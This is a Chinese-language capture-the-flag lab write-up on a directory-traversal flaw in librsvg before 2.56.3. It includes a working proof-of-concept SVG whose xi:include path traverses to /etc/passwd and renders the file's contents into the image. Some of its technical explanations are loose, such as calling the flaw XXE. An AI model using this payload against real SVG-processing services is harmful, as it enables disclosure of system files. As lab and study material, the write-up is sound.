靶场介绍:
一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件(在预期区域之外的本地文件系统上),例如通过在 xi:include 元素中使用 href=".?../../../../../../../../../../etc/passwd" 来读取结果。
解题步骤:
首先根据这个元素可以查一下这是什么
用于合并XML文档
的通用机制,通过在“主”文档中编写包含标记来自动包含其他文档或其他部分。生成的文档成为单个复合XML信息集
。XInclude
机制可用于合并XML文件
或非XML文本文件
中的内容。是xml标记语言中包含其他文件的方式
<html xmlns = "http://www.w3.org/1999/xhtml"
xmlns:xi ="http://www.w3.org/2003/XInclude">
这里注意到第一个属性,这个属性中的URL引用可以用来模糊查询文件
.?../../../../../../../../etc/passwd
这里可以模糊查询passwd文件,查看是否可以正确回显,同时可以看出这是利用xxe漏洞 ,为了把返回的内容显示出来,我们可以用svg库来让返回值以图片的形式返回
SVG
libRSVG 是一个用于在各种平台上渲染矢量图形的库。它通常与 C++ 或 Python 等语言一起使用,并支持流行的矢量格式,如 SVG(可缩放矢量图形)和 PS(PostScript)。
可缩放矢量图形(SVG)是一种基于XML的标记语言,用于描述二维矢量图形。与传统的像素图像不同,SVG图像在放大时不会失真,这使得它非常适合用于网页图形设计。
SVG图像可以直接嵌入HTML文档中,成为DOM的一部分,这样就可以使用JavaScript和CSS来操作它们。所以我们把svg添加到我们构造的poc,创造一个.svg文件,包含我们需要跳转的文件
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="600" height="600" style="fill:rgb(255,255,255);" />
<text x="10" y="100">
<xi:include href=".?../../../../../../../../etc/passwd" parse="text"
encoding="UTF-8">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>
这里主要是一个svg图像文件,通过xi:include把文件包含进去,注意图片要大一些,不然信息回显不完整
回显成功,读取flag